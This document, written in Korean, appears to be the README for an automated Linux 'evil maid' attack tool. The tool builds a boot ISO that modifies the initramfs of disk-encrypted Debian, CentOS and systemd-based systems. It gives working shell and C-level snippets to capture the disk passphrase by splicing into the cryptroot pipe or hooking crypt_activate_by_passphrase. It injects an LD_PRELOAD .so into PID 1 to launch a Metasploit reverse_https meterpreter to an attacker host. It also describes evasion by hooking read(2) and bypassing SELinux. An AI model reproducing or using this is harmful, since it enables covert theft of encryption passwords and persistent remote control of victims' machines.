
자동화된 리눅스 악성 하녀 공격

/sbin/init에 .so 파일을 주입하여 셸 생성DefaultEnviroment에 LD_PRELOAD .so를 전역적으로 로드하여 셸 생성python/meterpreter/reverse_https 사용getenv PASSWORD)자세한 정보/구성은 Makefile을 참조하세요. 컴파일 시 msfvenom이 파이프로 전달되므로 .so를 빌드하려면 환경에 LHOST가 필요합니다. 또한 빌드 머신에 libcrypsetup-dev(또는 이에 상응하는 패키지)가 설치되어 있어야 합니다.
일반 지침 (현재 작업 디렉토리에 ISO 이미지 빌드):
LHOST=192.168.56.101 make rev.so iso
다음 옵션이 커널 부트에 추가되었습니다:
mc superuser nodhcp quiet loglevel=0
또한 완전 자동 실행을 위해 prompt 값이 0으로 설정되었습니다.
악의적인 부팅 -> 백도어 설치 시간: 약 2분 정상 부팅 -> 셸 생성 시간: 약 90초 (구성 가능, 네트워킹이 먼저 준비되기를 원함)
core.d는 아래 패키지가 병합된 TinyCore의 압축 해제된 core.gz입니다.
Core-current는 압축 해제된 Core-current.iso입니다.
tinycore 내에 다음 패키지가 설치되었습니다 (python, 파일시스템 지원):
최소한의 서명은 다음과 같습니다:
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS는 이 OS의 고유한 이름입니다.IDENTIFIER는 올바른 initrd에 대해 실행될 때 종료 코드 0을 반환하고, 그 외의 경우 !0을 반환하는 셸 명령어입니다.ROOT은 암호 해독 후 새 루트가 마운트되는 전체 경로 또는 변수입니다.FILENAME은 루트 파일시스템에 바이너리를 배치할 전체 경로입니다. initrd가 마운트하는 것과 나중에 마운트되는 것을 잘 알고 있어야 합니다.INITRDFILENAME은 initrd 내부의 바이너리 전체 경로입니다. 이는 Makefile 내부에서 복사되므로 (cp ... core.d/...) 일치해야 합니다.그 후, *FILE, *PRE, *POST의 각 세 쌍은 re.sub로 initrd에 대해 실행됩니다 (예: re.sub(*PRE, *POST, *FILE)). *PRE와 *POST의 내용은 .format(**config[detectedOS])을 사용하여 확장되므로, 서명을 확장하여 항목을 주입할 수 있습니다.
실행할 수 있는 대체 횟수에는 제한이 없습니다.
\\1은 대체(*POST) 내에서 사용될 때 일치 항목(*PRE)의 전체 내용으로 확장됩니다.| $python/meterpreter/reverse_https 메타스플로잇 페이로드는 linux/*/meterpreter/reverse_tcp 페이로드보다 플랫폼 독립적이기 때문에 선택되었습니다. python은 테스트된 모든 시스템에 기본적으로 설치된 것으로 보입니다.
기본적으로 페이로드는 컴파일 시 생성되어 .c 파일에 #define으로 파이프됩니다. 이렇게 하면 반복 작업이 쉬워지지만, 페이로드를 저장하고 수동으로 삽입하는 것도 어렵지 않습니다.
Debian 계열 시스템(Debian, Ubuntu 등)은 표준 gzip 압축 cpio 이미지를 initramfs로 사용합니다. 여기에는 전체 부팅을 위해 시스템을 준비하는 기본 /init 스크립트가 포함되어 있습니다. 여기에는 사용자에게 비밀번호를 묻고 암호화된 루트 파일시스템을 마운트하는 과정이 포함됩니다.
.so를 배치하기 위해 루트 파일시스템이 마운트될 때까지(사용자에게 비밀번호를 묻고 난 후) 기다린 다음 /dev 파일시스템에 .so를 복사합니다. /dev 파일시스템은 rootfs가 전환되기 직전에 접근 가능하고 RAM 기반 마운트이기 때문에 선택되었습니다. 즉, .so가 디스크에 닿지 않습니다.
실제로 배치된 .so를 사용하기 위해 switch_root 호출 시 LD_PRELOAD 환경 변수를 사용합니다. 이 변수는 모든 하위 실행 파일에 전달되므로 최종 /sbin/init 스크립트에 모듈이 로드됩니다. 이를 비교적 눈에 띄지 않게 유지하기 위해, /sbin/init에 로드되었는지 확인하고, 그렇다면 LD_PRELOAD 변수를 해제하고 .so를 삭제합니다. 특정 애플리케이션을 후킹하려는 경우 이 기능을 쉽게 비활성화할 수 있습니다.
.so의 실행을 강제하기 위해, 기본적으로 로드 후 gcc 플래그 -Wl,-init,shell을 사용합니다. 여기서 shell은 우리의 주요 함수입니다. 이는 .so 초기화 시 호출할 함수를 지정합니다. 이를 Windows의 DllMain과 유사한 것으로 생각할 수 있습니다.
사용자에게 비밀번호를 묻고 루트 파일시스템을 마운트하는 init 스크립트 부분은 다음과 같습니다:
scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
우리에게 중요한 부분은 $cryptkeyscript의 출력이 $cryptcreate로 파이프되는 곳입니다. $cryptkeyscript는 비밀번호 요청 프로그램이고, $cryptcreate는 디스크 마운터입니다. 이 파이프는 공격을 매우 쉽게 만듭니다. 파이프 위치에 다음 코드를 삽입하여 비밀번호를 .so 끝에 기록합니다:
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
이렇게 하면 비밀번호가 변수 $P에 읽혀지고, .so 끝에 기록됨과 동시에 다시 출력됩니다. 이 코드는 $cryptkeyscript와 $cryptcreate의 목적에는 투명하지만, 비밀번호를 유출하는 부작용이 있습니다. \\\\\\\\x00을 사용하여 비밀번호 앞에 널 바이트(여러 단계의 셸 이스케이프를 고려)를 추가합니다. 이렇게 하면 .so가 자신의 끝에서부터 널 바이트가 보일 때까지 역방향으로 읽기만 하면 되므로 비밀번호를 다시 읽기가 훨씬 쉬워집니다.
이 비밀번호를 공격자에게 제공하기 위해 페이로드 실행 시 환경 변수로 사용됩니다. 즉, 공격자는 meterpreter 명령어 getenv PASSWORD를 사용하여 비밀번호를 검색할 수 있습니다.
.so가 로드되는 방식으로 인해 /proc/1/maps와 /proc/1/environ 모두에 참조가 남게 됩니다.
maps 파일은 로드된 모듈 목록입니다. 다음 발췌문은 이 파일의 내용을 보여줍니다. (deleted) 표기에 주목하세요. 잠재적으로 의심을 불러일으킬 수 있습니다. 그러나 일반 바이너리와 달리, 삭제된 후에는 메모리에서 직접 추출하지 않고는 .so에 접근할 수 없습니다.
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264 /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264 /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264 /dev/hda1 (deleted)
environ 파일은 호출 시 환경 변수의 NULL로 구분된 목록입니다. 호출 시점의 것이므로 런타임에 우리가 수정한 내용(LD_PRELOAD 해제 등)은 반영되지 않습니다.
이 두 경우 모두, 우리는 모든 시스템 프로세스에 후킹될 수 있으므로 read(2) 함수를 후킹하여 자신에 대한 참조를 제거할 수 있습니다.
Kali는 특별한 경우입니다. 아래에 언급된 체인 cpio를 가지고 있지만 부팅에 systemd를 사용하지 않습니다. 따라서 DRACUT OS 규칙이 일반화되어 무조건 추출한 후 두 번째 OS 탐지가 Kali를 잡아냅니다.
kernel/x86/microcode/GenuineIntel.bin만 포함하는 cpio로 OS를 추가하는 경우, IDENTIFIER 규칙은 추가된 cpio를 대상으로 해야 합니다. 자동으로 찾아서 추출할 것이기 때문입니다.
이 시스템들은 Debian 계열 시스템과 다른 initrd 이미지 형식을 가지고 있습니다. /boot에 저장된 initrd 파일은 거의 비어 있는 cpio 아카이브에 gzip 압축된 cpio 아카이브가 추가된 형태입니다. 이 두 번째 아카이브가 initramfs를 포함합니다. 두 번째 아카이브를 풀기 위해서는 첫 번째 cpio 아카이브를 파싱하여 끝을 찾아야 합니다. 또는 TRAILER!!! 문자열을 찾은 후 gzip 매직(\x1f\x8b)이 나올 때까지 계속 읽을 수도 있습니다.
이 시스템들의 또 다른 차이점은 systemd 기반이라는 점이며, 따라서 initamfs의 /init 실행 파일은 일반 sh 스크립트가 아니라 systemd 바이너리에 대한 심볼릭 링크입니다. 이 제한을 우회하려면 루트 파일시스템 마운트와 관련된 .service 파일을 수정해야 합니다.
usr/lib/systemd/system/initrd-switch-root.service에는 새로 복호화된 루트로 전환하는 데 사용되는 스크립트가 포함되어 있습니다. ExecStartPre 프라그마를 사용하면 전환 전에 다른 프로그램을 실행할 수 있습니다.
CentOS에는 SELinux가 있어 LD_PRELOAD 사용을 제한합니다. 작동하는 경로 중 하나는 /lib입니다. 이는 /etc/selinux/targeted/modules/active/file_contexts 파일에서 system_u:object_r:lib_t 레이블이 지정된 위치를 읽어 찾았습니다.
systemd가 루트 전환 전에 clearenv()를 호출하기 때문에 LD_PRELOAD 변수가 지워집니다. 이를 우회하기 위해 clearenv()를 후킹하고 항상 환경을 LD_PRELOAD만으로 교체할 수 있습니다. 그러나 이를 위해서는 initrd 내에서 PID 1이어야 합니다. 이 프로세스에 LD_PRELOAD를 할 수 없기 때문에 더 까다롭습니다. 이를 해결하기 위해 /init을 다음과 같은 bash 셸 스크립트로 대체했습니다:
#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd
이는 /init이 /usr/lib/systemd/systemd에 대한 심볼릭 링크에 불과하기 때문에 작동합니다. exec가 사용되어 프로세스가 부모 PID(1)를 유지합니다.
이것이 구현되고 clearenv()가 무력화되면 새 루트 내에서 실제 pid 1에 대해 LD_PRELOAD를 설정할 수 있습니다.
systemd는 암호화된 파일시스템의 비밀번호를 Debian 기반 init 스크립트와 완전히 다르게 처리합니다. 비밀번호는 자격 증명을 보낼 수 있는 Unix 소켓을 사용하여 전달됩니다. 이러한 복잡성을 해결하기 위해 비밀번호에 접근하는 가장 쉬운 방법은 libcryptsetup의 crypt_activate_by_passphrase 함수를 후킹하는 것입니다. 함수 선언의 관련 부분은 다음과 같습니다:
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);
비밀번호에 접근하기 위해 이 함수를 후킹하고, passphrase를 파일에 저장한 후 dlsym(RTLD_NEXT, ...)로 얻은 원래 함수를 호출합니다. 위와 같이, 비밀번호를 .so에 추가하여 자체 파싱이 가능하게 하고 meterpreter에서 비밀번호를 사용할 수 있도록 합니다.
위와 같이, .so는 /proc/1/maps, /proc/1/environ 및 ps 출력에 나타납니다.